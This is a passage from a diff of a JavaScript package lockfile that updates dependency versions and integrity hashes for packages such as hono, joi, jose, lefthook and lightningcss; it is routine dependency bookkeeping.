"dependencies": { "@types/estree": "^1.0.0", "@types/hast": "^3.0.0", "@types/unist": "^3.0.0", "comma-separated-tokens": "^2.0.0", "devlop": "^1.0.0", "estree-util-is-identifier-name": "^3.0.0", "hast-util-whitespace": "^3.0.0", "mdast-util-mdx-expression": "^2.0.0", "mdast-util-mdx-jsx": "^3.0.0", "mdast-util-mdxjs-esm": "^2.0.0", "property-information": "^7.0.0", "space-separated-tokens": "^2.0.0", "style-to-js": "^1.0.0", "unist-util-position": "^5.0.0", "vfile-message": "^4.0.0" } }, "sha512-zl6s8LwNyo1P9uw+XJGvZtdFF1GdAkOg8ujOw+4Pyb76874fLps4ueHXDhXWdk6YHQ6OgUtinliG7RsYvCbbBg=="], - "hast-util-to-text": ["hast-util-to-text@4.0.2", "", { "dependencies": { "@types/hast": "^3.0.0", "@types/unist": "^3.0.0", "hast-util-is-element": "^3.0.0", "unist-util-find-after": "^5.0.0" } }, "sha512-KK6y/BN8lbaq654j7JgBydev7wuNMcID54lkRav1P0CaE1e47P72AWWPiGKXTJU271ooYzcvTAn/Zt0REnvc7A=="], - "hast-util-whitespace": ["hast-util-whitespace@3.0.0", "", { "dependencies": { "@types/hast": "^3.0.0" } }, "sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw=="], - "highlight.js": ["highlight.js@11.11.1", "", {}, "sha512-Xwwo44whKBVCYoliBQwaPvtd/2tYFkRQtXDWj1nackaV2JPXx3L0+Jvd8/qCJ2p+ML0/XVkJ2q+Mr+UVdpJK5w=="], + "hono": ["hono@4.13.13", "", {}, "sha512-CQ46U0ZkAGmbT/4UxdzzGJpacP2IeKgY4a5/tOI9AABbpOMfK739wfDXmv1usCk+3RkKj1hQy4/fjhiwa2xlrA=="], "hosted-git-info": ["hosted-git-info@4.1.0", "", { "dependencies": { "lru-cache": "^6.0.0" } }, "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA=="], @@ -1491,6 +1375,8 @@ "http-cache-semantics": ["http-cache-semantics@4.2.0", "", {}, "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ=="], + "http-errors": ["http-errors@2.0.1", "", { "dependencies": { "depd": "~2.0.0", "inherits": "~2.0.4", "setprototypeof": "~1.2.0", "statuses": "~2.0.2", "toidentifier": "~1.0.1" } }, "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ=="], + "http-proxy-agent": ["http-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.1.0", "debug": "^4.3.4" } }, "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig=="], "http2-wrapper": ["http2-wrapper@1.0.3", "", { "dependencies": { "quick-lru": "^5.1.1", "resolve-alpn": "^1.0.0" } }, "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg=="], @@ -1499,7 +1385,7 @@ "iconv-corefoundation": ["iconv-corefoundation@1.1.7", "", { "dependencies": { "cli-truncate": "^2.1.0", "node-addon-api": "^1.6.3" }, "os": "darwin" }, "sha512-T10qvkw0zz4wnm560lOEg0PovVqUXuOFhhHAkixw8/sycy7TJt7v/RrkEKEQnAw2viPSJu6iAkErxnzR0g8PpQ=="], - "iconv-lite": ["iconv-lite@0.7.2", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw=="], + "iconv-lite": ["iconv-lite@0.7.3", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ=="], "idb-keyval": ["idb-keyval@6.2.2", "", {}, "sha512-yjD9nARJ/jb1g+CvD0tlhUHOrJ9Sy0P8T9MF3YaLlHnSRpwPfpTX0XIvpmw3gAJUmEu3FiICLBDPXVwyEvrleg=="], @@ -1509,23 +1395,21 @@ "import-fresh": ["import-fresh@3.3.1", "", { "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ=="], - "import-meta-resolve": ["import-meta-resolve@4.2.0", "", {}, "sha512-Iqv2fzaTQN28s/FwZAoFq0ZSs/7hMAHJVX+w8PZl3cY19Pxk6jFFalxQoIfW2826i/fDLXv8IiEZRIT0lDuWcg=="], - "imurmurhash": ["imurmurhash@0.1.4", "", {}, "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA=="], "inflight": ["inflight@1.0.6", "", { "dependencies": { "once": "^1.3.0", "wrappy": "1" } }, "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA=="], "inherits": ["inherits@2.0.4", "", {}, "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="], - "ini": ["ini@1.3.8", "", {}, "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="], + "ini": ["ini@6.0.0", "", {}, "sha512-IBTdIkzZNOpqm7q3dRqJvMaldXjDHWkEDfrwGEQTs5eaQMWV+djAhR+wahyNNMAa+qpbDUhBMVt4ZKNwpPm7xQ=="], "inline-style-parser": ["inline-style-parser@0.2.7", "", {}, "sha512-Nb2ctOyNR8DqQoR0OwRG95uNWIC0C1lCgf5Naz5H6Ji72KZ8OcFZLz2P5sNgwlyoJ8Yif11oMuYs5pBQa86csA=="], - "input-otp": ["input-otp@1.4.2", "", { "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0 || ^19.0.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-l3jWwYNvrEa6NTCt7BECfCm48GvwuZzkoeG3gBL2w4CHeOXW3eKFmf9UNYkNfYc3mxMrthMnxjIE07MT0zLBQA=="], + "input-otp": ["input-otp@1.5.0", "", { "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0 || ^19.0.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-3AcfdW1sNG0FmSA5hHMBXG7jNW5CdcdKs8ln8JOmn6S2SRkoXoJx+2UwC+ZvjflfnOdHJx0SfQ9/YjlxVYLtGQ=="], - "intl-messageformat": ["intl-messageformat@10.7.18", "", { "dependencies": { "@formatjs/ecma402-abstract": "2.3.6", "@formatjs/fast-memoize": "2.2.7", "@formatjs/icu-messageformat-parser": "2.11.4", "tslib": "^2.8.0" } }, "sha512-m3Ofv/X/tV8Y3tHXLohcuVuhWKo7BBq62cqY15etqmLxg2DZ34AGGgQDeR+SCta2+zICb1NX83af0GJmbQ1++g=="], + "ip-address": ["ip-address@10.7.3", "", {}, "sha512-A1kdq/tSb5QjvKvAMgIoEvDBIgL7qaqVP/jkvSwYYRZ9iEzvPpopxp2wQfu3SuZRHtpHNxMn8Fs0bS+gf5Xmwg=="], - "ip-address": ["ip-address@10.1.0", "", {}, "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q=="], + "ipaddr.js": ["ipaddr.js@1.9.1", "", {}, "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="], "is-alphabetical": ["is-alphabetical@2.0.1", "", {}, "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ=="], @@ -1535,21 +1419,17 @@ "is-decimal": ["is-decimal@2.0.1", "", {}, "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A=="], - "is-electron": ["is-electron@2.2.2", "", {}, "sha512-FO/Rhvz5tuw4MCWkpMzHFKWD2LsfHzIb7i6MdPYZ/KW7AlxawyLkqdy+jPZP1WubqEADE3O4FUENlJHDfQASRg=="], - "is-fullwidth-code-point": ["is-fullwidth-code-point@3.0.0", "", {}, "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="], "is-hexadecimal": ["is-hexadecimal@2.0.1", "", {}, "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg=="], "is-interactive": ["is-interactive@1.0.0", "", {}, "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w=="], - "is-obj": ["is-obj@2.0.0", "", {}, "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w=="], - "is-plain-obj": ["is-plain-obj@4.1.0", "", {}, "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg=="], - "is-property": ["is-property@1.0.2", "", {}, "sha512-Ks/IoX00TtClbGQr4TWXemAnktAQvYB7HzcCxDGqEZU6oCmb2INHuOoKxbtR+HFkmYWBKv/dOZtGRiAjDhj92g=="], + "is-promise": ["is-promise@4.0.0", "", {}, "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ=="], - "is-stream": ["is-stream@2.0.1", "", {}, "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg=="], + "is-property": ["is-property@1.0.2", "", {}, "sha512-Ks/IoX00TtClbGQr4TWXemAnktAQvYB7HzcCxDGqEZU6oCmb2INHuOoKxbtR+HFkmYWBKv/dOZtGRiAjDhj92g=="], "is-unicode-supported": ["is-unicode-supported@0.1.0", "", {}, "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw=="], @@ -1561,24 +1441,22 @@ "isbinaryfile": ["isbinaryfile@5.0.7", "", {}, "sha512-gnWD14Jh3FzS3CPhF0AxNOJ8CxqeblPTADzI38r0wt8ZyQl5edpy75myt08EG2oKvpyiqSqsx+Wkz9vtkbTqYQ=="], - "isexe": ["isexe@3.1.5", "", {}, "sha512-6B3tLtFqtQS4ekarvLVMZ+X+VlvQekbe4taUkf/rhVO3d/h0M2rfARm/pXLcPEsjjMsFgrFgSrhQIxcSVrBz8w=="], + "isexe": ["isexe@4.0.0", "", {}, "sha512-FFUtZMpoZ8RqHS3XeXEmHWLA4thH+ZxCv2lOiPIn1Xc7CxrqhWzNSDzD+/chS/zbYezmiwWLdQC09JdQKmthOw=="], "jackspeak": ["jackspeak@3.4.3", "", { "dependencies": { "@isaacs/cliui": "^8.0.2" }, "optionalDependencies": { "@pkgjs/parseargs": "^0.11.0" } }, "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw=="], "jake": ["jake@10.9.4", "", { "dependencies": { "async": "^3.2.6", "filelist": "^1.0.4", "picocolors": "^1.1.1" }, "bin": { "jake": "bin/cli.js" } }, "sha512-wpHYzhxiVQL+IV05BLE2Xn34zW1S223hvjtqk0+gsPrwd/8JNLXJgZZM/iPFsYc1xyphF+6M6EvdE5E9MBGkDA=="], - "javascript-natural-sort": ["javascript-natural-sort@0.7.1", "", {}, "sha512-nO6jcEfZWQXDhOiBtG2KvKyEptz7RVbpGP4vTD2hLBdmNQSsCiicO2Ioinv6UI4y9ukqnBpy+XZ9H6uLNgJTlw=="], + "jiti": ["jiti@2.7.0", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ=="], - "jiti": ["jiti@2.6.1", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ=="], + "joi": ["joi@18.2.9", "", { "dependencies": { "@hapi/address": "^5.1.1", "@hapi/formula": "^3.0.2", "@hapi/hoek": "^11.0.7", "@hapi/pinpoint": "^2.0.1", "@hapi/tlds": "^1.1.1", "@hapi/topo": "^6.0.2", "@standard-schema/spec": "^1.1.0" } }, "sha512-2mD929bUVKUhOLQQEVhlf6EZ0Mlo0DeRb5MO7cViR9AXLtBauuccEtB1py9Ocxpo/P7ucnh442iY/iOwrh3IQw=="], - "joi": ["joi@18.0.2", "", { "dependencies": { "@hapi/address": "^5.1.1", "@hapi/formula": "^3.0.2", "@hapi/hoek": "^11.0.7", "@hapi/pinpoint": "^2.0.1", "@hapi/tlds": "^1.1.1", "@hapi/topo": "^6.0.2", "@standard-schema/spec": "^1.0.0" } }, "sha512-RuCOQMIt78LWnktPoeBL0GErkNaJPTBGcYuyaBvUOQSpcpcLfWrHPPihYdOGbV5pam9VTWbeoF7TsGiHugcjGA=="], + "jose": ["jose@6.2.12", "", {}, "sha512-9NiFmJEex0sy2Dk58j2UGBSHgUs2ypF9eZSu4L6vjOX3Dp96Sw1F3uL+H+D1sx02jZZdzUT0HgvCy59CuvXcWw=="], "js-tokens": ["js-tokens@4.0.0", "", {}, "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="], "js-yaml": ["js-yaml@4.1.1", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA=="], - "jsesc": ["jsesc@3.1.0", "", { "bin": { "jsesc": "bin/jsesc" } }, "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA=="], - "json-bigint": ["json-bigint@1.0.0", "", { "dependencies": { "bignumber.js": "^9.0.0" } }, "sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ=="], "json-buffer": ["json-buffer@3.0.1", "", {}, "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ=="], @@ -1587,8 +1465,12 @@ "json-schema": ["json-schema@0.4.0", "", {}, "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA=="], + "json-schema-to-ts": ["json-schema-to-ts@3.1.1", "", { "dependencies": { "@babel/runtime": "^7.18.3", "ts-algebra": "^2.0.0" } }, "sha512-+DWg8jCJG2TEnpy7kOm/7/AxaYoaRbjVB4LFZLySZlWn8exGs3A4OLJR966cVvU26N7X9TWxl+Jsw7dzAqKT6g=="], + "json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="], + "json-schema-typed": ["json-schema-typed@8.0.2", "", {}, "sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA=="], + "json-stringify-safe": ["json-stringify-safe@5.0.1", "", {}, "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA=="], "json-with-bigint": ["json-with-bigint@3.5.7", "", {}, "sha512-7ei3MdAI5+fJPVnKlW77TKNKwQ5ppSzWvhPuSuINT/GYW9ZOC1eRKOuhV9yHG5aEsUPj9BBx5JIekkmoLHxZOw=="], @@ -1605,115 +1487,95 @@ "keyv": ["keyv@4.5.4", "", { "dependencies": { "json-buffer": "3.0.1" } }, "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw=="], + "koffi": ["koffi@3.2.1", "", { "optionalDependencies": { "@koromix/koffi-android-arm64": "3.2.1", "@koromix/koffi-android-x64": "3.2.1", "@koromix/koffi-darwin-arm64": "3.2.1", "@koromix/koffi-darwin-x64": "3.2.1", "@koromix/koffi-freebsd-arm64": "3.2.1", "@koromix/koffi-freebsd-ia32": "3.2.1", "@koromix/koffi-freebsd-x64": "3.2.1", "@koromix/koffi-linux-arm": "3.2.1", "@koromix/koffi-linux-arm64": "3.2.1", "@koromix/koffi-linux-ia32": "3.2.1", "@koromix/koffi-linux-loong64": "3.2.1", "@koromix/koffi-linux-riscv64": "3.2.1", "@koromix/koffi-linux-x64": "3.2.1", "@koromix/koffi-openbsd-ia32": "3.2.1", "@koromix/koffi-openbsd-x64": "3.2.1", "@koromix/koffi-win32-arm64": "3.2.1", "@koromix/koffi-win32-ia32": "3.2.1", "@koromix/koffi-win32-x64": "3.2.1" } }, "sha512-0qE3lZ8jllRqPN4Ob6Ajl7c2bJSJDhQWuKLGP5hIEpHLllJWv1ydHFMhHmHc5p/W9GticKVDbYzZd7TBoQ4CZg=="], + "lazy-val": ["lazy-val@1.0.5", "", {}, "sha512-0/BnGCCfyUMkBpeDgWihanIAF9JmZhHBgUhEqzvf+adhNGLoP6TaiI5oF8oyb3I45P+PcnrqihSf01M0l0G5+Q=="], - "lefthook": ["lefthook@2.1.4", "", { "optionalDependencies": { "lefthook-darwin-arm64": "2.1.4", "lefthook-darwin-x64": "2.1.4", "lefthook-freebsd-arm64": "2.1.4", "lefthook-freebsd-x64": "2.1.4", "lefthook-linux-arm64": "2.1.4", "lefthook-linux-x64": "2.1.4", "lefthook-openbsd-arm64": "2.1.4", "lefthook-openbsd-x64": "2.1.4", "lefthook-windows-arm64": "2.1.4", "lefthook-windows-x64": "2.1.4" }, "bin": { "lefthook": "bin/index.js" } }, "sha512-JNfJ5gAn0KADvJ1I6/xMcx70+/6TL6U9gqGkKvPw5RNMfatC7jIg0Evl97HN846xmfz959BV70l8r3QsBJk30w=="], + "lefthook": ["lefthook@2.1.17", "", { "optionalDependencies": { "lefthook-darwin-arm64": "2.1.17", "lefthook-darwin-x64": "2.1.17", "lefthook-freebsd-arm64": "2.1.17", "lefthook-freebsd-x64": "2.1.17", "lefthook-linux-arm64": "2.1.17", "lefthook-linux-x64": "2.1.17", "lefthook-openbsd-arm64": "2.1.17", "lefthook-openbsd-x64": "2.1.17", "lefthook-windows-arm64": "2.1.17", "lefthook-windows-x64": "2.1.17" }, "bin": { "lefthook": "bin/index.js" } }, "sha512-UWpD0VvZNIA2eA/+x4DvFlIT7uxH7aPrPrShE6nsIrX5qHJXxgDkoslAzF73X/YL2o0/9zDw3aOfpr98XchKFw=="], - "lefthook-darwin-arm64": ["lefthook-darwin-arm64@2.1.4", "", { "os": "darwin", "cpu": "arm64" }, "sha512-BUAAE9+rUrjr39a+wH/1zHmGrDdwUQ2Yq/z6BQbM/yUb9qtXBRcQ5eOXxApqWW177VhGBpX31aqIlfAZ5Q7wzw=="], + "lefthook-darwin-arm64": ["lefthook-darwin-arm64@2.1.17", "", { "os": "darwin", "cpu": "arm64" }, "sha512-BHF3rD0qmwBulLLe5EdPYQVGvPibZZqHnSPpWT+LgPyYk2+GxtScLJvSD/NgCOFU49Fzs6XgOHg/zlfXcdKFfQ=="], - "lefthook-darwin-x64": ["lefthook-darwin-x64@2.1.4", "", { "os": "darwin", "cpu": "x64" }, "sha512-K1ncIMEe84fe+ss1hQNO7rIvqiKy2TJvTFpkypvqFodT7mJXZn7GLKYTIXdIuyPAYthRa9DwFnx5uMoHwD2F1Q=="], + "lefthook-darwin-x64": ["lefthook-darwin-x64@2.1.17", "", { "os": "darwin", "cpu": "x64" }, "sha512-wRgqAKw2UUQz8eR5pBRo1Cfk2Jaao3u5b6n8EsLcJ6bCVP0pLLhFrNjE1UsTCOlriN7+GgI9SC0l1+zr2eVbTA=="], - "lefthook-freebsd-arm64": ["lefthook-freebsd-arm64@2.1.4", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-PVUhjOhVN71YaYsVdQyNbFZ4a2jFB2Tg5hKrrn9kaWpx64aLz/XivLjwr8sEuTaP1GRlEWBpW6Bhrcsyo39qFw=="], + "lefthook-freebsd-arm64": ["lefthook-freebsd-arm64@2.1.17", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-pECdcOu/oImbaQyBbmnQyNhdpu1L/bUageBoHSesDB3+2vyHEd6Q3buTUETrI+/gsL993FK5jHnyzsY1X2IFsQ=="], - "lefthook-freebsd-x64": ["lefthook-freebsd-x64@2.1.4", "", { "os": "freebsd", "cpu": "x64" }, "sha512-ZWV9o/LeyWNEBoVO+BhLqxH3rGTba05nkm5NvMjEFSj7LbUNUDbQmupZwtHl1OMGJO66eZP0CalzRfUH6GhBxQ=="], + "lefthook-freebsd-x64": ["lefthook-freebsd-x64@2.1.17", "", { "os": "freebsd", "cpu": "x64" }, "sha512-+z+GPl4mxZC0AcJICDazAWxExz4f8JPW7rvGUQ4Ao8flfmNUoyenrtsx9PUp00KdI+8zPjIujuLMSIEN52y1hQ=="], - "lefthook-linux-arm64": ["lefthook-linux-arm64@2.1.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-iWN0pGnTjrIvNIcSI1vQBJXUbybTqJ5CLMniPA0olabMXQfPDrdMKVQe+mgdwHK+E3/Y0H0ZNL3lnOj6Sk6szA=="], + "lefthook-linux-arm64": ["lefthook-linux-arm64@2.1.17", "", { "os": "linux", "cpu": "arm64" }, "sha512-q01FgqafSJo4WQ6rHj4J1AUe8WLlReZ4Sx5qIjdXMjFuQsbLKlaWUWnJMmZkQQwsi195zDGtOycU44c0vozPiw=="], - "lefthook-linux-x64": ["lefthook-linux-x64@2.1.4", "", { "os": "linux", "cpu": "x64" }, "sha512-96bTBE/JdYgqWYAJDh+/e/0MaxJ25XTOAk7iy/fKoZ1ugf6S0W9bEFbnCFNooXOcxNVTan5xWKfcjJmPIKtsJA=="], + "lefthook-linux-x64": ["lefthook-linux-x64@2.1.17", "", { "os": "linux", "cpu": "x64" }, "sha512-NyWgJyhmkPspgnhNSvkusKNjCyOOnwiE/IFKkAFkMNfTlst0Dv3UVNxe0e/DlgsGbbFLVieFKhwd4twI2RKoOQ=="], - "lefthook-openbsd-arm64": ["lefthook-openbsd-arm64@2.1.4", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-oYUoK6AIJNEr9lUSpIMj6g7sWzotvtc3ryw7yoOyQM6uqmEduw73URV/qGoUcm4nqqmR93ZalZwR2r3Gd61zvw=="], + "lefthook-openbsd-arm64": ["lefthook-openbsd-arm64@2.1.17", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-zhIY2sel/yHeIJbQfnlAx+xnIJf6Yh0/RG/Ont33VzCXrzMf4jczQwEAu6VdAD7Ms/Tiv3b9t8aTk7LrU4byJA=="], - "lefthook-openbsd-x64": ["lefthook-openbsd-x64@2.1.4", "", { "os": "openbsd", "cpu": "x64" }, "sha512-i/Dv9Jcm68y9cggr1PhyUhOabBGP9+hzQPoiyOhKks7y9qrJl79A8XfG6LHekSuYc2VpiSu5wdnnrE1cj2nfTg=="], + "lefthook-openbsd-x64": ["lefthook-openbsd-x64@2.1.17", "", { "os": "openbsd", "cpu": "x64" }, "sha512-aHGnjzyyFBOQEJjmie7px67nNVRUJ+DUG2R/BOSABdH/sGwVYLg6GG0pjnSUkWPoIv3T+CFoG9YcGYO+h3MLoQ=="], - "lefthook-windows-arm64": ["lefthook-windows-arm64@2.1.4", "", { "os": "win32", "cpu": "arm64" }, "sha512-hSww7z+QX4YMnw2lK7DMrs3+w7NtxksuMKOkCKGyxUAC/0m1LAICo0ZbtdDtZ7agxRQQQ/SEbzFRhU5ysNcbjA=="], + "lefthook-windows-arm64": ["lefthook-windows-arm64@2.1.17", "", { "os": "win32", "cpu": "arm64" }, "sha512-NN6Ke+O019lhlGAbrbFDf719E4vGt0Y0O30Gr5Yoe3ZdFW6qQFOlP+gVq/shFvJ7iw6rFA/xyOu6wgM+Lytimg=="], - "lefthook-windows-x64": ["lefthook-windows-x64@2.1.4", "", { "os": "win32", "cpu": "x64" }, "sha512-eE68LwnogxwcPgGsbVGPGxmghyMGmU9SdGwcc+uhGnUxPz1jL89oECMWJNc36zjVK24umNeDAzB5KA3lw1MuWw=="], + "lefthook-windows-x64": ["lefthook-windows-x64@2.1.17", "", { "os": "win32", "cpu": "x64" }, "sha512-yV07jCYAzqr4UoMFtVs5frVgKzxppWd/tjr6OpXpxYqB47fomx3w9vxgEOlb2opODFTFm2wdeESLfwVO9Cy/DQ=="], "lie": ["lie@3.3.0", "", { "dependencies": { "immediate": "~3.0.5" } }, "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ=="], - "lightningcss": ["lightningcss@1.31.1", "", { "dependencies": { "detect-libc": "^2.0.3" }, "optionalDependencies": { "lightningcss-android-arm64": "1.31.1", "lightningcss-darwin-arm64": "1.31.1", "lightningcss-darwin-x64": "1.31.1", "lightningcss-freebsd-x64": "1.31.1", "lightningcss-linux-arm-gnueabihf": "1.31.1", "lightningcss-linux-arm64-gnu": "1.31.1", "lightningcss-linux-arm64-musl": "1.31.1", "lightningcss-linux-x64-gnu": "1.31.1", "lightningcss-linux-x64-musl": "1.31.1", "lightningcss-win32-arm64-msvc": "1.31.1", "lightningcss-win32-x64-msvc": "1.31.1" } }, "sha512-l51N2r93WmGUye3WuFoN5k10zyvrVs0qfKBhyC5ogUQ6Ew6JUSswh78mbSO+IU3nTWsyOArqPCcShdQSadghBQ=="], + "lightningcss": ["lightningcss@1.32.0", "", { "dependencies": { "detect-libc": "^2.0.3" }, "optionalDependencies": { "lightningcss-android-arm64": "1.32.0", "lightningcss-darwin-arm64": "1.32.0", "lightningcss-darwin-x64": "1.32.0", "lightningcss-freebsd-x64": "1.32.0", "lightningcss-linux-arm-gnueabihf": "1.32.0", "lightningcss-linux-arm64-gnu": "1.32.0", "lightningcss-linux-arm64-musl": "1.32.0", "lightningcss-linux-x64-gnu": "1.32.0", "lightningcss-linux-x64-musl": "1.32.0", "lightningcss-win32-arm64-msvc": "1.32.0", "lightningcss-win32-x64-msvc": "1.32.0" } }, "sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ=="], - "lightningcss-android-arm64": ["lightningcss-android-arm64@1.31.1", "", { "os": "android", "cpu": "arm64" }, "sha512-HXJF3x8w9nQ4jbXRiNppBCqeZPIAfUo8zE/kOEGbW5NZvGc/K7nMxbhIr+YlFlHW5mpbg/YFPdbnCh1wAXCKFg=="], + "lightningcss-android-arm64": ["lightningcss-android-arm64@1.32.0", "", { "os": "android", "cpu": "arm64" }, "sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg=="], - "lightningcss-darwin-arm64": ["lightningcss-darwin-arm64@1.31.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-02uTEqf3vIfNMq3h/z2cJfcOXnQ0GRwQrkmPafhueLb2h7mqEidiCzkE4gBMEH65abHRiQvhdcQ+aP0D0g67sg=="], + "lightningcss-darwin-arm64": 